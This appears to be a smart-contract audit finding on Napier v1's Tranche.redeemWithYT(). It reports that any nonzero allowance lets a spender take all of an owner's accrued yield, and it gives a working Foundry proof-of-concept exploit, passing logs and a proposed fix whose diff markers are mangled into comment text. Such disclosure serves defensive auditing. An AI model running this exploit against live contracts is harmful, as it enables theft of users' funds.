All yield could be drained if users set any ````> 0```` allowance to others
`Tranche.redeemWithYT()` is not well implemented, all yield could be drained if users set any `> 0` allowance to others.\\nThe issue arises on L283, all `accruedInTarget` is sent out, this will not work while users have allowances to others. Let's say, alice has `1000 YT` (yield token) which has generated `100 TT` (target token), and if she approves bob `100 YT` allowance, then bob should only be allowed to take the proportional target token, which is `100 TT` * (100 YT / 1000 YT) = 10 TT.\\n```\\nFile: src\\Tranche.sol\\n    function redeemWithYT(address from, address to, uint256 pyAmount) external nonReentrant returns (uint256) {\\n// rest of code\\n        accruedInTarget += _computeAccruedInterestInTarget(\\n            _gscales.maxscale,\\n            _lscale,\\n// rest of code\\n            _yt.balanceOf(from)\\n        );\\n..\\n        uint256 sharesRedeemed = pyAmount.divWadDown(_gscales.maxscale);\\n// rest of code\\n        _target.safeTransfer(address(adapter), sharesRedeemed + accruedInTarget);\\n        (uint256 amountWithdrawn, ) = adapter.prefundedRedeem(to);\\n// rest of code\\n        return amountWithdrawn;\\n    }\\n```\\n\\nThe following coded PoC shows all unclaimed and unaccrued target token could be drained out, even if the allowance is as low as `1wei`.\\n```\\n// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.0;\\n\\nimport {TestTranche} from "./Tranche.t.sol";\\nimport "forge-std/console2.sol";\\n\\ncontract TrancheAllowanceIssue is TestTranche {\\n    address bob = address(0x22);\\n    function setUp() public virtual override {\\n        super.setUp();\\n    }\\n\\n    function testTrancheAllowanceIssue() public {\\n        // 1. issue some PT and YT\\n        deal(address(underlying), address(this), 1_000e6, true);\\n        tranche.issue(address(this), 1_000e6);\\n\\n        // 2. generating some unclaimed yield\\n        vm.warp(block.timestamp + 30 days);\\n        _simulateScaleIncrease();\\n\\n        // 3. give bob any negligible allowance, could be as low as only 1wei\\n        tranche.approve(bob, 1);\\n        yt.approve(bob, 1);\\n\\n        // 4. all unclaimed and pending yield drained by bob\\n        assertEq(0, underlying.balanceOf(bob));\\n        vm.prank(bob);\\n        tranche.redeemWithYT(address(this), bob, 1);\\n        assertTrue(underlying.balanceOf(bob) > 494e6);\\n    }\\n}\\n```\\n\\nAnd the logs:\\n```\\n2024-01-napier\\napier-v1> forge test --match-test testTrancheAllowanceIssue -vv\\n[⠔] Compiling// rest of code\\n[⠊] Compiling 42 files with 0.8.19\\n[⠔] Solc 0.8.19 finished in 82.11sCompiler run successful!\\n[⠒] Solc 0.8.19 finished in 82.11s\\n\\nRunning 1 test for test/unit/TrancheAllowanceIssue.t.sol:TrancheAllowanceIssue\\n[PASS] testTrancheAllowanceIssue() (gas: 497585)\\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.06ms\\n\\nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\\n```\\n
```\\ndiff // Remove the line below\\n// Remove the line below\\ngit a/napier// Remove the line below\\nv1/src/Tranche.sol b/napier// Remove the line below\\nv1/src/Tranche.sol\\nindex 62d9562..65db5c6 100644\\n// Remove the line below\\n// Remove the line below\\n// Remove the line below\\n a/napier// Remove the line below\\nv1/src/Tranche.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/napier// Remove the line below\\nv1/src/Tranche.sol\\n@@ // Remove the line below\\n275,12 // Add the line below\\n275,15 @@ contract Tranche is BaseToken, ReentrancyGuard, Pausable, ITranche {\\n         delete unclaimedYields[from];\\n         gscales = _gscales;\\n\\n// Add the line below\\n        uint256 accruedProportional = accruedInTarget * pyAmount / _yt.balanceOf(from);\\n// Add the line below\\n        unclaimedYields[from] = accruedInTarget // Remove the line below\\n accruedProportional;\\n// Add the line below\\n        \\n         // Burn PT and YT tokens from `from`\\n         _burnFrom(from, pyAmount);\\n         _yt.burnFrom(from, msg.sender, pyAmount);\\n\\n         // Withdraw underlying tokens from the adapter and transfer them to the user\\n// Remove the line below\\n        _target.safeTransfer(address(adapter), sharesRedeemed // Add the line below\\n accruedInTarget);\\n// Add the line below\\n        _target.safeTransfer(address(adapter), sharesRedeemed // Add the line below\\n accruedProportional);\\n         (uint256 amountWithdrawn, ) = adapter.prefundedRedeem(to);\\n\\n         emit RedeemWithYT(from, to, amountWithdrawn);\\n```\\n
Users lost all unclaimed and unaccrued yield
```\\nFile: src\\Tranche.sol\\n    function redeemWithYT(address from, address to, uint256 pyAmount) external nonReentrant returns (uint256) {\\n// rest of code\\n        accruedInTarget += _computeAccruedInterestInTarget(\\n            _gscales.maxscale,\\n            _lscale,\\n// rest of code\\n            _yt.balanceOf(from)\\n        );\\n..\\n        uint256 sharesRedeemed = pyAmount.divWadDown(_gscales.maxscale);\\n// rest of code\\n        _target.safeTransfer(address(adapter), sharesRedeemed + accruedInTarget);\\n        (uint256 amountWithdrawn, ) = adapter.prefundedRedeem(to);\\n// rest of code\\n        return amountWithdrawn;\\n    }\\n```\\n